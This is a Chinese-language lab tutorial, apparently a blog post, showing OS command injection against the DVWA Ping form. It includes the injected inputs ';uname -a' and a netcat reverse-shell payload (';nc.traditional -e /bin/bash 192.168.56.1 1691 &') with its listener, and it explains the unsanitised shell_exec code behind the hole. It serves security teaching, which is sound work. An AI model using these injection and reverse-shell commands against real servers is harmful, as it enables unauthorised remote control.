02 漏洞利用:OS 命令劫持

前文中,PHP的 system( ) 方法可以在服务器上执行操作系统命令,开发者有时候也会用同样的方法,实现一些特殊的功能,如Ping功能服务,在Web页面,用户可能通过添加非法输入,就可以在服务器执行附加恶意系统命令

下面,演示如何利用命令注入漏洞获取服务器的敏感信息

实践

  1. 登陆到 Damn Vulnerable Web Application (DVWA),调整安全级别为low,然后跳转到页面 Command Execution

  2. 如图,表单 Ping for FREE ,输入192.168.150.148 ( Kali 测试机的IP地址)

    02 漏洞利用:OS 命令劫持_第1张图片
    Command Execution

    输出看起来就像是我们直接在服务器上执行 Ping 命令一样,因此,这里我们判断为一个 OS 命令注入点

  3. 我们尝试着注入一个简单的系统命令,提交如下内容:

192.168.150.148;uname -a
02 漏洞利用:OS 命令劫持_第2张图片
系统命令注入

如图,uname命令的执行结果输出打扫ping命令的结果之后了。这就是一个命令劫持漏洞。

  1. 也可以试试不加IP地址,直接输入如下内容:
;uname -a
02 漏洞利用:OS 命令劫持_第3张图片
Paste_Image.png
  1. 然后,我们来获取一个服务器的reverse shell;首先,我们要确定服务器上有我们需要的软件环境,提交如下语句:
ls /bin/nc*
02 漏洞利用:OS 命令劫持_第4张图片
查看环境

这里我们查到了不同版本的 NetCat(OpenBSD 版本的 nc 不支持在连接中执行命令,因此我们使用traditional版本),下面使用这个工具来连接靶机到攻击机上

  1. 在Kali攻击机上启用一个nc连接监听端口:
nc -lp 1691 -v
  1. 回到浏览器,输入以下命令,提交:
;nc.traditional -e /bin/bash 192.168.56.1 1691 &
02 漏洞利用:OS 命令劫持_第5张图片
Paste_Image.png

Kail终端会受到连接请求,并建立连接,现在,就可以随意在服务器上执行命令并获取输出了

总结

类似 SQL 注入漏洞,命令注入漏洞也是因为没有对输入参数进行充分的校验造成的。如果查看,我们刚刚攻击页面的后台源码(DVWA页面右下角有个按钮),我们会看到如下内容:

'.$cmd.'
'; } else { $cmd = shell_exec( 'ping -c 3 ' . $target ); echo '
'.$cmd.'
'; } } ?>

我们看到,它直接拼接用户输入到 ping 命令中,我们所做的只是加了个分号,这样shell解释器就把分号前后两条命令顺序解释执行了,分后后面的,就是我们真实想要执行的代码

成功执行命令后,下一步检查服务器上是否有 NetCat,这个工具可以帮助我们给两台机器建立连接,前面我们发现,服务器又两个不同版本的 NetCat ,这里执行支持建立连接的那个

当设置Kali攻击机监听 TCP 的 1691 端口(可以是任意端口)后,我们在靶机服务器执行命令,用于跟Kali机器建立连接并执行 /bin/bash,如此就可以在靶机服务器输入任意命令了

在命令后添加符号“ & ”可以在后台执行命令,因为,PHP脚本会一直等一条命令的响应

你可能感兴趣的:(02 漏洞利用:OS 命令劫持)